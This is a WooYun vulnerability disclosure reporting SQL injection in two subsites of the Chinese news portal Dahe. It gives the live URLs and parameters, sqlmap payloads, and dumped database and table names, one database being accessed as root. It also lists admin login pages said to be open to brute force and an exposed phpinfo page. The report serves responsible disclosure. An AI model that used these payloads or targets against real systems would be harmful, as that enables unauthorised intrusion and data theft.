当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044233

漏洞标题:大河网#2个分站存在SQL注射漏洞

相关厂商:大河网

漏洞作者: Mr.leo

提交时间:2013-11-27 18:53

修复时间:2014-01-11 18:53

公开时间:2014-01-11 18:53

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-27: 细节已通知厂商并且等待厂商处理中
2013-11-28: 厂商已经确认,细节仅向厂商公开
2013-12-08: 细节向核心白帽子及相关领域专家公开
2013-12-18: 细节向普通白帽子公开
2013-12-28: 细节向实习白帽子公开
2014-01-11: 细节向公众公开

简要描述:

大河网#2个分站存在SQL注射漏洞

详细说明:

站点1:
http://zzb.dahe.cn
layid没有过滤,导致注射
http://zzb.dahe.cn/fore/onclickNews.shtml?fdate=&layoutID=1
sqlmap跑起
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: layoutID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fdate=&layoutID=1 AND 4748=4748
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: fdate=&layoutID=1 AND SLEEP(5)
---
[17:45:36] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[17:45:36] [INFO] fetching current user
[17:45:36] [INFO] resumed: zzb@%
current user: 'zzb@%'
[17:45:36] [INFO] fetching current database
[17:45:36] [INFO] resumed: newspaper
current database: 'newspaper'
[17:45:36] [INFO] fetching database names
[17:45:36] [INFO] fetching number of databases
[17:45:36] [INFO] resumed: 6
[17:45:36] [INFO] resumed: information_schema
[17:45:36] [INFO] resumed: jd
[17:45:36] [INFO] resumed: mysql
[17:45:36] [INFO] resumed: newspaper
[17:45:36] [INFO] resumed: test
[17:45:36] [INFO] resumed: zzbgbk
available databases [6]:
[*] information_schema
[*] jd
[*] mysql
[*] newspaper
[*] test
[*] zzbgbk
--------------------------我是分割线---------------------------------
站点2:
http://jlb.96211.com
id没有过滤,导致注射。
WooYun: 大河网#3个分站存在SQL注射漏洞(root用户) 属于同一站点,注入点不同
http://jlb.96211.com/Previous/SiteProd/ProdM_List_bianming.php?Id=285
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: Id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Id=285 AND 5969=5969
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: Id=285 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6167693a,0x495a4756527
3546e7775,0x3a7975693a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL#
---
[16:06:59] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5
[16:06:59] [INFO] fetching current user
current user: 'root@localhost'
[16:06:59] [INFO] fetching current database
current database: 'dahebao'
[16:06:59] [INFO] fetching database names
[16:06:59] [INFO] the SQL query used returns 17 entries
[16:06:59] [INFO] resumed: "information_schema"
[16:06:59] [INFO] resumed: "170"
[16:06:59] [INFO] resumed: "clubwap"
[16:06:59] [INFO] resumed: "cmswap"
[16:06:59] [INFO] resumed: "dahebao"
[16:06:59] [INFO] resumed: "dahevote"
[16:06:59] [INFO] resumed: "dvote"
[16:06:59] [INFO] resumed: "dvote_2"
[16:06:59] [INFO] resumed: "ebvote"
[16:06:59] [INFO] resumed: "guozheng"
[16:06:59] [INFO] resumed: "love"
[16:06:59] [INFO] resumed: "mysql"
[16:06:59] [INFO] resumed: "php168"
[16:06:59] [INFO] resumed: "phpcms"
[16:06:59] [INFO] resumed: "phpcms2010"
[16:06:59] [INFO] resumed: "test"
[16:06:59] [INFO] resumed: "tuan"
root用户

12121212.png


available databases [17]:
[*] 170
[*] clubwap
[*] cmswap
[*] dahebao
[*] dahevote
[*] dvote
[*] dvote_2
[*] ebvote
[*] guozheng
[*] information_schema
[*] love
[*] mysql
[*] php168
[*] phpcms
[*] phpcms2010
[*] test
[*] tuan
Database: dahebao
[48 tables]
+----------------+
| about_m |
| adm |
| am_tree |
| am_user |
| ar_advertise |
| ar_article |
| ar_articledata |
| ar_articletype |
| ar_catalog |
| ar_comment |
| ar_config |
| ar_file |
| ar_keywords |
| ar_links |
| ar_members |
| ar_message |
| ar_page |
| ar_tags |
| areas |
| baoliao |
| baoming |
| buycar_m |
| emaillm |
| emailsm |
| gmm |
| gmyes |
| hzshm |
| hzshs |
| jiuyou |
| kefu_m |
| keywd |
| link_m |
| liren |
| liuyan_text |
| mem_m |
| mem_store |
| news_m |
| pinpm |
| prodm |
| prodmpic |
| prodmpl |
| prodmtao |
| prodmwd |
| prods |
| toorder_m |
| toorderlw |
| wenda |
| xiaojizhe |
+----------------+
附送部分:
3个后台均无验证码,存在暴利破解
http://zzb.dahe.cn/manager/html/ tomcat界面
http://bang.dahe.cn/veryide/module/system/admin.login.php veryide后台
http://keju.dahe.cn/admin.php verycm后台
http://t.96211.com/test.php 存在PHPinfo信息泄露

444444444.png


漏洞证明:

已经证明

修复方案:

1#过滤
2#屏蔽管理后台
3#高RANK

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-11-28 09:06

厂商回复:

收到,谢谢,我们抓紧处理。

最新状态:

暂无